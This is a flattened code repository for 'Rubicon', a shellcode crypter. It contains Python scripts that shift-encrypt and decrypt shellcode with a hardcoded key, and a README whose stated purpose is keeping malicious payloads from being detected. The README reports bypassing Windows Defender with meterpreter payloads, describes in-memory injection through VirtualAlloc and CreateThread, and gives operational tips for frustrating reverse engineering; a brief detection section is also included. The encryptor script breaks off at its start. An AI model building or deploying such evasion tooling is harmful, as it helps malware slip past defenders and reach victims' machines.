├── LICENSE ├── compare_binary_files.py ├── .gitignore ├── custom_crypto_decrypt.py ├── README.md └── custom_crypto_encrypt.py /LICENSE: -------------------------------------------------------------------------------- 1 | BSD 4-Clause License 2 | 3 | Copyright (c) 2020, asaurusrex 4 | All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are met: 8 | 9 | 1. Redistributions of source code must retain the above copyright notice, this 10 | list of conditions and the following disclaimer. 11 | 12 | 2. Redistributions in binary form must reproduce the above copyright notice, 13 | this list of conditions and the following disclaimer in the documentation 14 | and/or other materials provided with the distribution. 15 | 16 | 3. All advertising materials mentioning features or use of this software must display the following acknowledgement: 17 | This product includes software developed by AsaurusRex. 18 | 19 | 4. Neither the name of the copyright holder nor the names of its 20 | contributors may be used to endorse or promote products derived from 21 | this software without specific prior written permission. 22 | 23 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 24 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 25 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 26 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 27 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 28 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 29 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 30 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 31 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 32 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 33 | -------------------------------------------------------------------------------- /compare_binary_files.py: -------------------------------------------------------------------------------- 1 | """ 2 | BSD 4-Clause License 3 | 4 | Copyright (c) 2020, asaurusrex 5 | All rights reserved. 6 | 7 | Redistribution and use in source and binary forms, with or without 8 | modification, are permitted provided that the following conditions are met: 9 | 10 | 1. Redistributions of source code must retain the above copyright notice, this 11 | list of conditions and the following disclaimer. 12 | 13 | 2. Redistributions in binary form must reproduce the above copyright notice, 14 | this list of conditions and the following disclaimer in the documentation 15 | and/or other materials provided with the distribution. 16 | 17 | 3. All advertising materials mentioning features or use of this software must display the following acknowledgement: 18 | This product includes software developed by AsaurusRex. 19 | 20 | 4. Neither the name of the copyright holder nor the names of its 21 | contributors may be used to endorse or promote products derived from 22 | this software without specific prior written permission. 23 | 24 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 25 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 26 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 27 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 28 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 29 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 30 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 31 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 32 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 33 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 34 | """ 35 | 36 | #!/usr/bin/python 37 | import sys 38 | 39 | filename1 = sys.argv[1] 40 | filename2 = sys.argv[2] 41 | filename3 = sys.argv[3] 42 | 43 | with open(filename1, 'rb') as f: 44 | shellcode1 = f.read() 45 | 46 | with open(filename2, 'rb') as f: 47 | shellcode2 = f.read() 48 | 49 | with open(filename3, 'rb') as f: 50 | shellcode3 = f.read() 51 | 52 | for i in range(len(shellcode1)): 53 | if shellcode1[i] != shellcode2[i]: 54 | print("There is a difference!") 55 | print("Shellcode1: ", shellcode1[i], "vs Shellcode2: ", shellcode2[i], "The encrypted byte is: ", shellcode3[i], "at position: ", i+1) 56 | 57 | # if 11182 < i < 11186: 58 | # print("Shellcode1: ", shellcode1[i], "vs Shellcode2: ", shellcode2[i], "at position: ", i) -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | ## 4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore 5 | 6 | # User-specific files 7 | *.rsuser 8 | *.suo 9 | *.user 10 | *.userosscache 11 | *.sln.docstates 12 | 13 | # User-specific files (MonoDevelop/Xamarin Studio) 14 | *.userprefs 15 | 16 | # Mono auto generated files 17 | mono_crash.* 18 | 19 | # Build results 20 | [Dd]ebug/ 21 | [Dd]ebugPublic/ 22 | [Rr]elease/ 23 | [Rr]eleases/ 24 | x64/ 25 | x86/ 26 | [Ww][Ii][Nn]32/ 27 | [Aa][Rr][Mm]/ 28 | [Aa][Rr][Mm]64/ 29 | bld/ 30 | [Bb]in/ 31 | [Oo]bj/ 32 | [Ll]og/ 33 | [Ll]ogs/ 34 | 35 | # Visual Studio 2015/2017 cache/options directory 36 | .vs/ 37 | # Uncomment if you have tasks that create the project's static files in wwwroot 38 | #wwwroot/ 39 | 40 | # Visual Studio 2017 auto generated files 41 | Generated\ Files/ 42 | 43 | # MSTest test Results 44 | [Tt]est[Rr]esult*/ 45 | [Bb]uild[Ll]og.* 46 | 47 | # NUnit 48 | *.VisualState.xml 49 | TestResult.xml 50 | nunit-*.xml 51 | 52 | # Build Results of an ATL Project 53 | [Dd]ebugPS/ 54 | [Rr]eleasePS/ 55 | dlldata.c 56 | 57 | # Benchmark Results 58 | BenchmarkDotNet.Artifacts/ 59 | 60 | # .NET Core 61 | project.lock.json 62 | project.fragment.lock.json 63 | artifacts/ 64 | 65 | # ASP.NET Scaffolding 66 | ScaffoldingReadMe.txt 67 | 68 | # StyleCop 69 | StyleCopReport.xml 70 | 71 | # Files built by Visual Studio 72 | *_i.c 73 | *_p.c 74 | *_h.h 75 | *.ilk 76 | *.meta 77 | *.obj 78 | *.iobj 79 | *.pch 80 | *.pdb 81 | *.ipdb 82 | *.pgc 83 | *.pgd 84 | *.rsp 85 | *.sbr 86 | *.tlb 87 | *.tli 88 | *.tlh 89 | *.tmp 90 | *.tmp_proj 91 | *_wpftmp.csproj 92 | *.log 93 | *.vspscc 94 | *.vssscc 95 | .builds 96 | *.pidb 97 | *.svclog 98 | *.scc 99 | 100 | # Chutzpah Test files 101 | _Chutzpah* 102 | 103 | # Visual C++ cache files 104 | ipch/ 105 | *.aps 106 | *.ncb 107 | *.opendb 108 | *.opensdf 109 | *.sdf 110 | *.cachefile 111 | *.VC.db 112 | *.VC.VC.opendb 113 | 114 | # Visual Studio profiler 115 | *.psess 116 | *.vsp 117 | *.vspx 118 | *.sap 119 | 120 | # Visual Studio Trace Files 121 | *.e2e 122 | 123 | # TFS 2012 Local Workspace 124 | $tf/ 125 | 126 | # Guidance Automation Toolkit 127 | *.gpState 128 | 129 | # ReSharper is a .NET coding add-in 130 | _ReSharper*/ 131 | *.[Rr]e[Ss]harper 132 | *.DotSettings.user 133 | 134 | # TeamCity is a build add-in 135 | _TeamCity* 136 | 137 | # DotCover is a Code Coverage Tool 138 | *.dotCover 139 | 140 | # AxoCover is a Code Coverage Tool 141 | .axoCover/* 142 | !.axoCover/settings.json 143 | 144 | # Coverlet is a free, cross platform Code Coverage Tool 145 | coverage*[.json, .xml, .info] 146 | 147 | # Visual Studio code coverage results 148 | *.coverage 149 | *.coveragexml 150 | 151 | # NCrunch 152 | _NCrunch_* 153 | .*crunch*.local.xml 154 | nCrunchTemp_* 155 | 156 | # MightyMoose 157 | *.mm.* 158 | AutoTest.Net/ 159 | 160 | # Web workbench (sass) 161 | .sass-cache/ 162 | 163 | # Installshield output folder 164 | [Ee]xpress/ 165 | 166 | # DocProject is a documentation generator add-in 167 | DocProject/buildhelp/ 168 | DocProject/Help/*.HxT 169 | DocProject/Help/*.HxC 170 | DocProject/Help/*.hhc 171 | DocProject/Help/*.hhk 172 | DocProject/Help/*.hhp 173 | DocProject/Help/Html2 174 | DocProject/Help/html 175 | 176 | # Click-Once directory 177 | publish/ 178 | 179 | # Publish Web Output 180 | *.[Pp]ublish.xml 181 | *.azurePubxml 182 | # Note: Comment the next line if you want to checkin your web deploy settings, 183 | # but database connection strings (with potential passwords) will be unencrypted 184 | *.pubxml 185 | *.publishproj 186 | 187 | # Microsoft Azure Web App publish settings. Comment the next line if you want to 188 | # checkin your Azure Web App publish settings, but sensitive information contained 189 | # in these scripts will be unencrypted 190 | PublishScripts/ 191 | 192 | # NuGet Packages 193 | *.nupkg 194 | # NuGet Symbol Packages 195 | *.snupkg 196 | # The packages folder can be ignored because of Package Restore 197 | **/[Pp]ackages/* 198 | # except build/, which is used as an MSBuild target. 199 | !**/[Pp]ackages/build/ 200 | # Uncomment if necessary however generally it will be regenerated when needed 201 | #!**/[Pp]ackages/repositories.config 202 | # NuGet v3's project.json files produces more ignorable files 203 | *.nuget.props 204 | *.nuget.targets 205 | 206 | # Microsoft Azure Build Output 207 | csx/ 208 | *.build.csdef 209 | 210 | # Microsoft Azure Emulator 211 | ecf/ 212 | rcf/ 213 | 214 | # Windows Store app package directories and files 215 | AppPackages/ 216 | BundleArtifacts/ 217 | Package.StoreAssociation.xml 218 | _pkginfo.txt 219 | *.appx 220 | *.appxbundle 221 | *.appxupload 222 | 223 | # Visual Studio cache files 224 | # files ending in .cache can be ignored 225 | *.[Cc]ache 226 | # but keep track of directories ending in .cache 227 | !?*.[Cc]ache/ 228 | 229 | # Others 230 | ClientBin/ 231 | ~$* 232 | *~ 233 | *.dbmdl 234 | *.dbproj.schemaview 235 | *.jfm 236 | *.pfx 237 | *.publishsettings 238 | orleans.codegen.cs 239 | 240 | # Including strong name files can present a security risk 241 | # (https://github.com/github/gitignore/pull/2483#issue-259490424) 242 | #*.snk 243 | 244 | # Since there are multiple workflows, uncomment next line to ignore bower_components 245 | # (https://github.com/github/gitignore/pull/1529#issuecomment-104372622) 246 | #bower_components/ 247 | 248 | # RIA/Silverlight projects 249 | Generated_Code/ 250 | 251 | # Backup & report files from converting an old project file 252 | # to a newer Visual Studio version. Backup files are not needed, 253 | # because we have git ;-) 254 | _UpgradeReport_Files/ 255 | Backup*/ 256 | UpgradeLog*.XML 257 | UpgradeLog*.htm 258 | ServiceFabricBackup/ 259 | *.rptproj.bak 260 | 261 | # SQL Server files 262 | *.mdf 263 | *.ldf 264 | *.ndf 265 | 266 | # Business Intelligence projects 267 | *.rdl.data 268 | *.bim.layout 269 | *.bim_*.settings 270 | *.rptproj.rsuser 271 | *- [Bb]ackup.rdl 272 | *- [Bb]ackup ([0-9]).rdl 273 | *- [Bb]ackup ([0-9][0-9]).rdl 274 | 275 | # Microsoft Fakes 276 | FakesAssemblies/ 277 | 278 | # GhostDoc plugin setting file 279 | *.GhostDoc.xml 280 | 281 | # Node.js Tools for Visual Studio 282 | .ntvs_analysis.dat 283 | node_modules/ 284 | 285 | # Visual Studio 6 build log 286 | *.plg 287 | 288 | # Visual Studio 6 workspace options file 289 | *.opt 290 | 291 | # Visual Studio 6 auto-generated workspace file (contains which files were open etc.) 292 | *.vbw 293 | 294 | # Visual Studio LightSwitch build output 295 | **/*.HTMLClient/GeneratedArtifacts 296 | **/*.DesktopClient/GeneratedArtifacts 297 | **/*.DesktopClient/ModelManifest.xml 298 | **/*.Server/GeneratedArtifacts 299 | **/*.Server/ModelManifest.xml 300 | _Pvt_Extensions 301 | 302 | # Paket dependency manager 303 | .paket/paket.exe 304 | paket-files/ 305 | 306 | # FAKE - F# Make 307 | .fake/ 308 | 309 | # CodeRush personal settings 310 | .cr/personal 311 | 312 | # Python Tools for Visual Studio (PTVS) 313 | __pycache__/ 314 | *.pyc 315 | 316 | # Cake - Uncomment if you are using it 317 | # tools/** 318 | # !tools/packages.config 319 | 320 | # Tabs Studio 321 | *.tss 322 | 323 | # Telerik's JustMock configuration file 324 | *.jmconfig 325 | 326 | # BizTalk build output 327 | *.btp.cs 328 | *.btm.cs 329 | *.odx.cs 330 | *.xsd.cs 331 | 332 | # OpenCover UI analysis results 333 | OpenCover/ 334 | 335 | # Azure Stream Analytics local run output 336 | ASALocalRun/ 337 | 338 | # MSBuild Binary and Structured Log 339 | *.binlog 340 | 341 | # NVidia Nsight GPU debugger configuration file 342 | *.nvuser 343 | 344 | # MFractors (Xamarin productivity tool) working folder 345 | .mfractor/ 346 | 347 | # Local History for Visual Studio 348 | .localhistory/ 349 | 350 | # BeatPulse healthcheck temp database 351 | healthchecksdb 352 | 353 | # Backup folder for Package Reference Convert tool in Visual Studio 2017 354 | MigrationBackup/ 355 | 356 | # Ionide (cross platform F# VS Code tools) working folder 357 | .ionide/ 358 | 359 | # Fody - auto-generated XML schema 360 | FodyWeavers.xsd 361 | -------------------------------------------------------------------------------- /custom_crypto_decrypt.py: -------------------------------------------------------------------------------- 1 | """ 2 | BSD 4-Clause License 3 | 4 | Copyright (c) 2020, asaurusrex 5 | All rights reserved. 6 | 7 | Redistribution and use in source and binary forms, with or without 8 | modification, are permitted provided that the following conditions are met: 9 | 10 | 1. Redistributions of source code must retain the above copyright notice, this 11 | list of conditions and the following disclaimer. 12 | 13 | 2. Redistributions in binary form must reproduce the above copyright notice, 14 | this list of conditions and the following disclaimer in the documentation 15 | and/or other materials provided with the distribution. 16 | 17 | 3. All advertising materials mentioning features or use of this software must display the following acknowledgement: 18 | This product includes software developed by AsaurusRex. 19 | 20 | 4. Neither the name of the copyright holder nor the names of its 21 | contributors may be used to endorse or promote products derived from 22 | this software without specific prior written permission. 23 | 24 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 25 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 26 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 27 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 28 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 29 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 30 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 31 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 32 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 33 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 34 | """ 35 | 36 | #!/usr/bin/python 37 | import argparse 38 | import sys 39 | 40 | 41 | #this code is designed to read in a .bin file of shellcode, and decrypt it with our custom decryption 42 | #this decryption will rely on shifting bytes to one of 256 positions, which we will shift depending on the unique key of 16 bytes 43 | 44 | #first, read in the .bin file - might need to do this with chunks, not sure yet 45 | def read_bin(filename): 46 | 47 | with open(filename, 'rb') as f: 48 | plain_shellcode = f.read() 49 | 50 | length_of_shellcode = len(plain_shellcode) 51 | 52 | return length_of_shellcode, plain_shellcode 53 | 54 | def examine_key(key): 55 | 56 | print("Length of key is: ", len(key)) 57 | print("Key is: ", key) 58 | #get bytes as integers, and add them up - we will decrypt the shellcode in "total" size chunks 59 | total = 0 60 | #make sure key is 61 | for i in range(len(key)): 62 | total += int(key[i]) 63 | 64 | print("total of key is: ", total) 65 | return total 66 | 67 | def split_shellcode(shellcode, key_total_len): 68 | 69 | len_shellcode = len(shellcode) #measures the length of the shellcode 70 | 71 | 72 | list_of_shellcode_pieces = list() #empty list to capture divided shellcode pieces 73 | number_of_pieces = round(len_shellcode/key_total_len) 74 | 75 | for i in range(number_of_pieces): 76 | piece_length = key_total_len 77 | 78 | 79 | #special cases - first and last piece of the string 80 | 81 | 82 | if i == 0: #the first case 83 | 84 | first_piece = shellcode[:piece_length] #beginning to the end of the first piece 85 | 86 | list_of_shellcode_pieces.append(first_piece) 87 | 88 | if 0 < i < key_total_len-1: 89 | 90 | shellcode_piece = shellcode[(piece_length*(i)):(piece_length*(i+1))] # from end of x-1 piece to the end of x piece (e.g. end of 91 | #first piece to the end of the second piece, completing the second piece 92 | 93 | list_of_shellcode_pieces.append(shellcode_piece) 94 | 95 | if i == key_total_len - 1: #the last case 96 | final_piece = shellcode[(piece_length*(i)):] #length of the final piece 97 | 98 | list_of_shellcode_pieces.append(final_piece) 99 | 100 | 101 | #print("The full shellcode list:", list_of_shellcode_pieces) 102 | 103 | 104 | return list_of_shellcode_pieces #returns full list of shellcode, after it has been divided by the number of splits requested. 105 | 106 | 107 | 108 | def decrypt_shellcode(shellcode_list, key): 109 | decrypted_shellcode = b"" 110 | #take piece from shellcode list, and decrypt it with a byte in the key 111 | number_of_pieces = len(shellcode_list) 112 | 113 | keylen = len(key) #number of bytes in the key 114 | 115 | 116 | for i in range(len(shellcode_list)): 117 | if i < keylen: 118 | piece = shellcode_list[i] #get a piece out of our list 119 | for byte in piece: #get each from that piece, and shift it - this should already convert bytes to ints for us 120 | new_byte = byte - key[i] 121 | 122 | if new_byte < 0: #exists outside of hex range, so need to move it back into range 123 | new_byte = bytes([256 + new_byte]) 124 | decrypted_shellcode += new_byte 125 | 126 | else: 127 | new_byte = bytes([new_byte]) 128 | decrypted_shellcode += new_byte 129 | 130 | else: #we need to do modular arithmetic here to get a new index for the keylen that does not exceed its length 131 | index = i % keylen 132 | piece = shellcode_list[i] 133 | for byte in piece: 134 | new_byte = byte - key[index] 135 | 136 | if new_byte < 0: #exists outside of hex range, so need to move it back into range 137 | new_byte = bytes([256 + new_byte]) 138 | decrypted_shellcode += new_byte 139 | 140 | else: 141 | new_byte = bytes([new_byte]) 142 | decrypted_shellcode += new_byte 143 | 144 | 145 | return decrypted_shellcode 146 | 147 | def write_output(decrypted_shellcode, output_file): 148 | with open(output_file, 'wb') as f: 149 | f.write(decrypted_shellcode) #write the shellcode to the output file 150 | 151 | return True 152 | 153 | def main(path, output, key): 154 | #hardcode key here 155 | key = b"\xde\xa2\x7e\xfc\xd8\x96\x03\x80\x3c\xa0\x2d\x94\xab\x5b\xba\x02\x3b\xb4\xdc\xd4\x57\xe1\xd2\x10\x23\x78\x13\x8e\xbd" 156 | len_shellcode, shellcode = read_bin(path) 157 | print("Total length of decrypted shellcode: ", len_shellcode) 158 | 159 | key_total = examine_key(key) 160 | print("Total from key bytes: ", key_total) 161 | 162 | shellcode_list = split_shellcode(shellcode, key_total) 163 | number_of_pieces = len(shellcode_list) 164 | print("Created shellcode piece list, which has {} pieces".format(number_of_pieces)) 165 | 166 | decrypted_shellcode = decrypt_shellcode(shellcode_list, key) 167 | print("Length of decrypted shellcode: ", len(decrypted_shellcode)) 168 | 169 | write_output(decrypted_shellcode, output) 170 | print("Wrote decrypted shellcode to {}!".format(output)) 171 | 172 | 173 | 174 | if __name__ == '__main__': 175 | parser = argparse.ArgumentParser(description="Decryption for shellcode.") 176 | parser.add_argument('-path', action='store', dest="path", default="", help="Provide the path to the .bin file which contains your decrypted shellcode.") 177 | parser.add_argument('-o', action='store', dest="output", default="decrypted.bin", help="Provide the path where you want your decrypted .bin to be placed.") 178 | parser.add_argument('-key', action='store', dest="key", default="", help="Provide the key needed to decrypt. This should be a byte array. Example: -key b\"\\xa0") 179 | 180 | args = parser.parse_args() 181 | 182 | if str(args.path) == "": 183 | print("You have not supplied a .bin file to decrypt! Please provide something such as: -path example.bin") 184 | parser.print_help() 185 | sys.exit() 186 | 187 | if args.key == "": 188 | print("You have not supplied a key to decrypt the shellcode. This key is required.") 189 | parser.print_help() 190 | sys.exit() 191 | 192 | 193 | 194 | 195 | main(str(args.path), str(args.output), args.key) -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Rubicon - a New Custom Encryption Algorithm/Tool 2 | 3 | ## Disclaimer 4 | DO NOT use this project for purposes other than legitimate red teaming/pentesting jobs, or research. DO NOT use this for illegal activity of any kind, and know that this project is intended for research purposes and to help advance the missions of both red and blue teams. 5 | 6 | ## Purpose 7 | Rubicon is designed to provide a barebones custom encryption algorithm (which I encourage you to further customize!) which will be crafted into C++ payloads for you! That's right, you won't have to write any C++ (but you will need to compile it), but you will benefit from your shellcode being custom encrypted in unmanaged code. It is a basic stream cipher which is implemented as, fundamentally, a Caesar cipher. It is NOT meant to be cryptographically secure, but to prevent automated detection/analysis from detecting malicious payloads. It calls NO crypto libraries when decrypted (except python does call the library secrets, but that isn't inherently for crypto as opposed to randomness), which is a big plus to avoiding automated detection. 8 | 9 | ## Requirements 10 | Python3 (only tested with Python3.9+), and some associated Python libraries - pip3 should take care of any python dependencies you need. 11 | 12 | ## Usage 13 | 14 | ### Encryption 15 | The encryption functionality is built into custom_crypto_encrypt.py. Its usage is as follows: 16 | 17 | ``` 18 | usage: custom_crypto_encrypt.py [-h] [-path PATH] [-o OUTPUT] [-len_key LENGTH_OF_KEY] [-compile_file COMPILE_FILE] [-split_shellcode SPLIT_SHELLCODE] 19 | 20 | Generate encryption for shellcode. 21 | 22 | optional arguments: 23 | -h, --help show this help message and exit 24 | -path PATH Provide the path to the .bin file which contains your shellcode. 25 | -o OUTPUT Provide the path where you want your encrypted .bin to be placed. 26 | -len_key LENGTH_OF_KEY 27 | Provide a positive integer that will be the length of the key in bytes. Longer keys will take longer to encrypt/decrypt 28 | -compile_file COMPILE_FILE 29 | Provide the path to the C++ file you want to edit. 30 | -split_shellcode SPLIT_SHELLCODE 31 | Provide a positive integer that will be the number of times to split the encrypted shellcode, so that it works properly with Visual Studio strings for c++ 32 | compilation. 33 | ``` 34 | The code will also generate a C++ file which you can readily compile with no changes with your favorite C++ compiler, in the file custom_decrypt.cpp. The simplest example: 35 | 36 | ``` 37 | python3 custom_crypto.py -path my_plain_shellcode.bin 38 | ``` 39 | 40 | This will compile the C++ file for you with default options for key length and split_shellcode, and will also create an encrypted .bin file under "encrypted.bin." 41 | 42 | ### Decryption 43 | **WARNING: I know custom_decrypt.cpp looks like it has a lot of empty space, but that is intentional! DO NOT remove the extra space between sections, it is designed to make sure python never overwrites anything important!** 44 | 45 | The C++ code, once compiled, will handle decryption for you. It locally injects with a very basic set of Win32 APIs, I recommend you change this method for real operations. 46 | 47 | The Python decryptor code is contained in custom_crypto_decrypt.py. The usage looks like: 48 | ``` 49 | usage: custom_crypto_decrypt.py [-h] [-path PATH] [-o OUTPUT] [-key KEY] 50 | 51 | Decryption for shellcode. 52 | 53 | optional arguments: 54 | -h, --help show this help message and exit 55 | -path PATH Provide the path to the .bin file which contains your decrypted shellcode. 56 | -o OUTPUT Provide the path where you want your decrypted .bin to be placed. 57 | -key KEY Provide the key needed to decrypt. This should be a byte array. Example: -key b"\xa0" 58 | ``` 59 | 60 | This script is not QUITE finished, in that one annoying feature remains - you need to hard code the key in the script itself (your command line input will not matter. I have had trouble figuring out how to get python to accept byte arrays as command line arguments, so if someone knows how to do this, please let me know). So in line 155 of the script, copy and paste your key as a BYTE ARRAY (b"" format). Other than that, it is as simple as: 61 | 62 | ``` 63 | python3 custom_crypto_decrypt.py -path my_encrypted.bin -key doesnotmatter 64 | ``` 65 | 66 | This will decrypt your binary and place it in your directory as "decrypted.bin" by default. Future ideas include adding an execution element to the python script so that it is more portable across different OS's, but at the moment that is not a feature (with a little work you could make python execute the decrypted shellcode, however). 67 | 68 | ## Opsec Concerns 69 | I wouldn't recommend using this project in its default form for operations. There are numerous optimizations and tricks that can be added to buff of the difficulty of analyzing this algorithm and solutions in memory. Some ideas include: add randomized bytes so that your encrypted shellcode size != size of your original shellcode as it currently does by default, which I consider a weakness. I may tweak this in the public version with an idea soon, but have not decided as of yet. Randomized bytes will also make it harder to guess shifting patterns to try to manually decrypt the data without the key, making that MUCH more difficult to correctly do. I would also not recommend including the bytes of your payload or the bytes of your key directly in the payload as done here, as it makes it easier to RE - instead consider fetching them from somewhere, such as a server you control, so that if you suspect your payload is compromised you can remove access to these things, making actual RE much more difficult if not impossible. The shellcode injection technique is the most basic there is, using CreateThread, VirtualAlloc, and VirtualProtect, so please change that to something less obvious. There are other generic tricks to prevent automated analysis that you could also employ, but that would be a project in and of itself so I will not elaborate further here - there are numerous resources/ideas in other crypters and blog posts. 70 | 71 | 72 | ## Detection/Prevention 73 | This is hard. The base form can be detected by simply trying all byte value shifts from 0-255 on the first 4 bytes and checking if the MZ header exists (with the exact same shift mind you), but if other customizations are added this detection fails. Looking for byte entropy and also looking at the weakness of Caesar cipher (trying to find a common byte value in suspected payloads and shifting from that assumption) MIGHT work, but it depends on the shellcode and actual shellcode optimizations, so definitely not guaranteed. 74 | 75 | ## Testing 76 | This technique has tested against Windows Defender on the latest x64 version of Windows, with internet/cloud enabled and bypassed detection with basic meterpreter x64 https stageless payloads. 77 | 78 | ## Basic Methodology 79 | The version included here is very barebones, and is conceptually quite simple (I will show a simple example below of it in action). Rubicon will generate a key of random bytes (which you can specify to be between 15-50 bytes long, although the default is 16), which will be used to encrypt the data. We will calculate the total of the integer values of these bytes between 0-255, although 0 and 255 specifically will never be allowed to be bytes in the key - you will see why in a minute. Once we have the total, we will use it to divide the total size of our shellcode (.bin file) into "key total" sized sections - aka if our total value of bytes from the key was 50, we will have sections 50 bytes long of our original shellcode. Each section will then be encrypted by a different byte of the key - the first section by the first byte, the second section by the second byte, etc. If there are more sections than there are bytes in the key, then we will use modulus operations to return to the appropriate index of the key; as an example, if we had 17 sections but only a 15 byte key, the 16th section would be encrypted by the first byte of the key, and the 17th section would be encrypted by the 2nd byte of the key. 80 | 81 | When I say "encrypted" by a byte in the key, I actually mean shifted. So if our original shellcode byte was \x00, and our key byte was \x03, then our encrypted byte = 0 + 3 = \x03. Each byte in the section we are encrypting will be shifted over to the right by the same amount. If we escape the boundary of integer values of single bytes, we will simply shift into the lower values of bytes again. As an example, if our original byte is \xfe (int value of 254) and our key byte is \x05 (int value of 5), our encrypted byte is: 254 + 5 = 259 -> shift back into the lower bytes by subtracting 256 -> 259-256 = 3 = \x03. We repeat this for all original bytes until each section is encrypted with its appropriate key. To retrieve our original shellcode, we simply subtract the key byte from the appropriate section bytes. This decryption process happens entirely in memory, and so is not detected by most AV (I submitted several earlier prototypes to VT and got around 7-8/70-80 detections. I think that was more due to meterpreter behavior once connecting to our c2 as opposed to the encryption itself, and I was also using the most basic CreateThread example for shellcode injection). 82 | 83 | I wrote the encryption python script to generate new keys each run, and also to build a ready-to-compile version in C++ for you in the file called "custom_decrypt.cpp." Simply plug this into your compiler of choice (I only tested with Visual Studio but it should work with any C++ compiler). Python entirely builds this file for you, it should be copy+paste and compile. 84 | 85 | I have also included a python decryption script as well as a script to measure your decrypted.bin with your original.bin just for debugging purposes. 86 | 87 | ## Contributions/Comments/Criticisms 88 | I am very open to receiving comments and to collaboration! Hopefully this helps generate useful discussion around the topic of custom crypto, or provides researchers some new insights. 89 | 90 | 91 | -------------------------------------------------------------------------------- /custom_crypto_encrypt.py: -------------------------------------------------------------------------------- 1 | """ 2 | BSD 4-Clause License 3 | 4 | Copyright (c) 2020, asaurusrex 5 | All rights reserved. 6 | 7 | Redistribution and use in source and binary forms, with or without 8 | modification, are permitted provided that the following conditions are met: 9 | 10 | 1. Redistributions of source code must retain the above copyright notice, this 11 | list of conditions and the following disclaimer. 12 | 13 | 2. Redistributions in binary form must reproduce the above copyright notice, 14 | this list of conditions and the following disclaimer in the documentation 15 | and/or other materials provided with the distribution. 16 | 17 | 3. All advertising materials mentioning features or use of this software must display the following acknowledgement: 18 | This product includes software developed by AsaurusRex. 19 | 20 | 4. Neither the name of the copyright holder nor the names of its 21 | contributors may be used to endorse or promote products derived from 22 | this software without specific prior written permission. 23 | 24 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 25 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 26 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 27 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 28 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 29 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 30 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 31 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 32 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 33 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 34 | """ 35 | 36 | 37 | #!/usr/bin/python 38 | #TODO add c++ compilation file, byte randomization at beginning 39 | import argparse 40 | import sys 41 | import secrets 42 | 43 | #this code is designed to read in a .bin file of shellcode, 